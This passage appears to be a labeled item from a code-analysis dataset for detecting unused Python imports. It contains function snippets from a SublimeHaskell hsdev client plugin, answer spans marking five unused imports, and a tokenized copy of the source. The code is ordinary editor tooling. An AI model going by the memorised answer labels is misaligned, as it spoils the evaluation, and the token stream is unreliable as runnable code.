= []):\n return cmd('check-lint', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc,\n 'hlint-opts': hlint})", "metadata": "root.HsDev.check_lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 968 }, { "content": " @list_command\n def types(self, files = [], contents = {}, ghc = []):\n return cmd('types', {\n 'files': files,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc})", "metadata": "root.HsDev.types", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 976 }, { "content": " @command\n def ghcmod_lang(self):\n return cmd('ghc-mod lang')", "metadata": "root.HsDev.ghcmod_lang", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 983 }, { "content": " @command\n def ghcmod_flags(self):\n return cmd('ghc-mod flags')", "metadata": "root.HsDev.ghcmod_flags", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 987 }, { "content": " @list_command\n def ghcmod_type(self, file, line, column = 1, ghc = []):\n return cmd('ghc-mod type', {\n 'position': {'line': int(line),'column': int(column)},\n 'file': file,\n 'ghc-opts': ghc })", "metadata": "root.HsDev.ghcmod_type", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 991 }, { "content": " @list_command\n def ghcmod_check(self, files, ghc = []):\n return cmd('ghc-mod check', {'files': files, 'ghc-opts': ghc})", "metadata": "root.HsDev.ghcmod_check", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 998 }, { "content": " @list_command\n def ghcmod_lint(self, files, hlint = []):\n return cmd('ghc-mod lint', {'files': files, 'hlint-opts': hlint})", "metadata": "root.HsDev.ghcmod_lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1002 }, { "content": " @list_command\n def ghcmod_check_lint(self, files, ghc = [], hlint = []):\n return cmd('ghc-mod check-lint', {'files': files, 'ghc-opts': ghc, 'hlint-opts': hlint})", "metadata": "root.HsDev.ghcmod_check_lint", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1006 }, { "content": " @list_command\n def autofix_show(self, messages):\n return cmd('autofix show', {'messages': messages}, parse_corrections)", "metadata": "root.HsDev.autofix_show", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1010 }, { "content": " @list_command\n def autofix_fix(self, messages, rest = [], pure = False):\n return cmd('autofix fix', {'messages': messages, 'rest': rest, 'pure': pure}, parse_corrections)", "metadata": "root.HsDev.autofix_fix", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1014 }, { "content": " @list_command\n def ghc_eval(self, exprs):\n return cmd('ghc eval', {'exprs': exprs})", "metadata": "root.HsDev.ghc_eval", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1018 }, { "content": " @command\n def exit(self):\n return cmd('exit', {})", "metadata": "root.HsDev.exit", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 1022 }, { "content": "def wait_result(fn, *args, **kwargs):\n wait_receive = threading.Event()\n x = {'result': None}\n\n on_resp = kwargs.get('on_response')\n on_err = kwargs.get('on_error')\n\n def wait_response(r):\n x['result'] = r\n if on_resp:\n on_resp(r)\n wait_receive.set()\n def wait_error(e, ds):\n log('hsdev call fails with: {0}, {1}'.format(e, format_error_details(ds)))\n if on_err:\n on_err(e, ds)\n wait_receive.set()\n\n tm = kwargs.pop('timeout', 0.1)\n\n kwargs['on_response'] = wait_response\n kwargs['on_error'] = wait_error\n\n fn(*args, **kwargs)\n\n wait_receive.wait(tm)\n return x['result']", "metadata": "root.wait_result", "header": "['module', '___EOS___']", "index": 1026 }, { "content": "class HsDevProcess(threading.Thread):\n\n\n\n\n", "metadata": "root.HsDevProcess", "header": "['module', '___EOS___']", "index": 1054 }, { "content": " def __init__(self, port = 4567, cache = None, log_file = None, log_config = None):\n super(HsDevProcess, self).__init__()\n self.process = None\n self.on_start = None\n self.on_exit = None\n self.stop_event = threading.Event()\n self.create_event = threading.Event()\n self.port = port\n self.cache = cache\n self.log_file = log_file\n self.log_config = log_config", "metadata": "root.HsDevProcess.__init__", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1055 }, { "content": " def run(self):\n while True:\n self.create_event.wait()\n self.create_event.clear()\n while not self.stop_event.is_set():\n self.process = HsDev.run_server(port = self.port, cache = self.cache, log_file = self.log_file, log_config = self.log_config)\n if not self.process:\n log('failed to create hsdev process', log_error)\n self.stop_event.set()\n else:\n call_callback(self.on_start, name = 'HsDevProcess.on_start')\n self.process.wait()\n call_callback(self.on_exit, name = 'HsDevProcess.on_exit')\n self.stop_event.clear()", "metadata": "root.HsDevProcess.run", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1067 }, { "content": " def active(self):\n return self.process.poll() is None", "metadata": "root.HsDevProcess.active", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1082 }, { "content": " def inactive(self):\n return self.process.poll() is not None", "metadata": "root.HsDevProcess.inactive", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1085 }, { "content": " def create(self):\n self.create_event.set()", "metadata": "root.HsDevProcess.create", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1088 }, { "content": " def stop(self):\n self.stop_event.set()", "metadata": "root.HsDevProcess.stop", "header": "['class', 'HsDevProcess', '(', 'threading', '.', 'Thread', ')', ':', '___EOS___']", "index": 1091 } ]
[ { "span": "import os", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 9 }, { "span": "import os.path", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 14 }, { "span": "import sys", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 10 }, { "span": "import sublime_plugin", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 21 }, { "span": "import subprocess", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "UT", "F", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sublime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sublim", "e\\u", "plugin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "functools_", "import_", "reduce_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "int_", "(_", "sublime_", "._", "version_", "(_", ")_", ")_", "<_", "3000_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "symbols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sublim", "e\\u", "has", "kel", "l\\u", "common_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "Sub", "lim", "e", "Has", "kel", "l_", "._", "symbols_", "as_", "symbols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Sub", "lim", "e", "Has", "kel", "l_", "._", "sublim", "e\\u", "has", "kel", "l\\u", "common_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "{", "'", "x", "':", " ", "['", "1", "','", "2", "']", ",", " ", "'", "y", "':", " ", "Non", "e", "}", " ", "\\", "865", "8", ";", " ", "['", "--", "x", "',", " ", "'", "1", "',", " ", "'--", "x", "',", " ", "'", "2", "',", " ", "'--", "y", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "global", "-", "db", "',", " ", "'", "user", "-", "db", "'", " ", "or", " ", "{", "'", "package", "-", "db", "':", "path", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLIN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\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "conc", "at", "\\u", "args_", "(_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "cat_", "(_", "x_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "px_", ",_", "ex_", ")_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "py_", ",_", "ey_", ")_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "px_", "or_", "py_", ",_", "(_", "ex_", "if_", "px_", "else_", "[_", "]_", ")_", "+_", "(_", "ey_", "if_", "py_", "else_", "[_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "reduce_", "(_", "cat_", ",_", "args_", ",_", "(_", "True_", ",_", "[_", "]_", ")_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "conc", "at", "\\u", "opts_", "(_", "opts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "cat_", "(_", "x_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "px_", ",_", "ex_", ")_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "py_", ",_", "ey_", ")_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "(_", "ex_", "if_", "px_", "else_", "{_", "}_", ")_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "._", "update_", "(_", "(_", "ey_", "if_", "py_", "else_", "{_", "}_", ")_", "._", "copy_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "px_", "or_", "py_", ",_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "reduce_", "(_", "cat_", ",_", "opts_", ",_", "(_", "True_", ",_", "{_", "}_", ")_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "flat", "ten", "\\u", "opts_", "(_", "opts_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "to", "\\u", "opt_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'--", "{", "0", "}'_", "._", "format_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "opts_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "v_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "._", "append_", "(_", "to", "\\u", "opt_", "(_", "k_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "(_", "v_", ")_", "is_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "n_", "in_", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "._", "extend_", "(_", "[_", "to", "\\u", "opt_", "(_", "k_", ")_", ",_", "str_", "(_", "n_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "._", "extend_", "(_", "[_", "to", "\\u", "opt_", "(_", "k_", ")_", ",_", "str_", "(_", "v_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hs", "dev", "\\u", "enabled_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "get", "\\u", "setti", "ng", "\\u", "async_", "(_", "'", "enable", "\\u", "hs", "dev", "'_", ")_", "==_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hs", "dev", "\\u", "enable_", "(_", "enable_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "set\\u", "setti", "ng", "\\u", "async_", "(_", "'", "enable", "\\u", "hs", "dev", "'_", ",_", "enable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hs", "dev", "\\u", "version_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "exit", "\\u", "code_", ",_", "out_", ",_", "err_", ")_", "=_", "call", "\\u", "and", "\\u", "wait_", "(_", "[_", "'", "hs", "dev", "'_", ",_", "'", "version", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "exit", "\\u", "code_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "re_", "._", "match_", "(_", "'(", "?", "P", "<", "major", ">\\\\", "d", "+)\\\\", ".(", "?", "P", "<", "mino", "r", ">\\\\", "d", "+)\\\\", ".(", "?", "P", "<", "revis", "ion", ">\\\\", "d", "+)\\\\", ".(", "?", "P", "<", "build", ">\\\\", "d", "+)'_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "major_", "=_", "int_", "(_", "m_", "._", "group_", "(_", "'", "major", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "minor_", "=_", "int_", "(_", "m_", "._", "group_", "(_", "'", "mino", "r", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "revision_", "=_", "int_", "(_", "m_", "._", "group_", "(_", "'", "revis", "ion", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "build_", "=_", "int_", "(_", "m_", "._", "group_", "(_", "'", "build", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "major_", ",_", "minor_", ",_", "revision_", ",_", "build_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "File", "Not", "Foun", "d", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "show", "\\u", "version_", "(_", "ver_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'.'_", "._", "join_", "(_", "map_", "(_", "lambda_", "i_", ":_", "str_", "(_", "i_", ")_", ",_", "ver_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "version_", "(_", "ver_", ",_", "minima", "l_", "=_", "[_", "0_", ",_", "0_", ",_", "0_", ",_", "0_", "]_", ",_", "maximal", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ver_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ver_", "<_", "minima", "l_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "maximal", "_", "and_", "ver_", ">=_", "maximal", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "if", "\\u", "some", "_", "(_", "x_", ",_", "lst_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "lst_", "if_", "x_", "is_", "not_", "None_", "else_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cab", "al", "\\u", "path_", "(_", "cab", "al_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "cab", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "\"--", "cab", "al", "\"_", "]_", "if_", "cab", "al_", "==_", "'", "cab", "al", "'_", "else_", "[_", "\"--", "sand", "box", "={", "0", "}\"_", "._", "format_", "(_", "cab", "al_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hsi", "nsp", "ect_", "(_", "module_", "=_", "None_", ",_", "file_", "=_", "None_", ",_", "cab", "al_", "=_", "None_", ",_", "gh", "c\\u", "opts_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "[_", "'", "hsi", "nsp", "ect", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "result_", "=_", "lambda_", "s_", ":_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "module_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "._", "extend_", "(_", "[_", "module_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "result_", "=_", "parse", "\\u", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "._", "extend_", "(_", "[_", "file_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "result_", "=_", "parse", "\\u", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cab", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "._", "extend_", "(_", "[_", "cab", "al_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "hsi", "nsp", "ect", " ", "must", " ", "speci", "fy", " ", "module", ",", " ", "file", " ", "or", " ", "cab", "al", "'_", ",_", "log", "\\u", "debug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "opt_", "in_", "gh", "c\\u", "opts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "._", "extend_", "(_", "[_", "'-", "g", "'_", ",_", "opt_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "r_", "=_", "call", "\\u", "and", "\\u", "wait", "\\u", "tool_", "(_", "cmd_", ",_", "'", "hsi", "nsp", "ect", "'_", ",_", "lambda_", "s_", ":_", "json_", "._", "loads_", "(_", "s_", ")_", ",_", "file_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "error", "'_", "in_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "hsi", "nsp", "ect", " ", "return", "s", " ", "error", ":", " ", "{", "0", "}'_", "._", "format_", "(_", "r_", "[_", "'", "error", "'_", "]_", ")_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "on", "\\u", "result_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "status_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "s_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "database_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "s_", "and_", "'", "project", 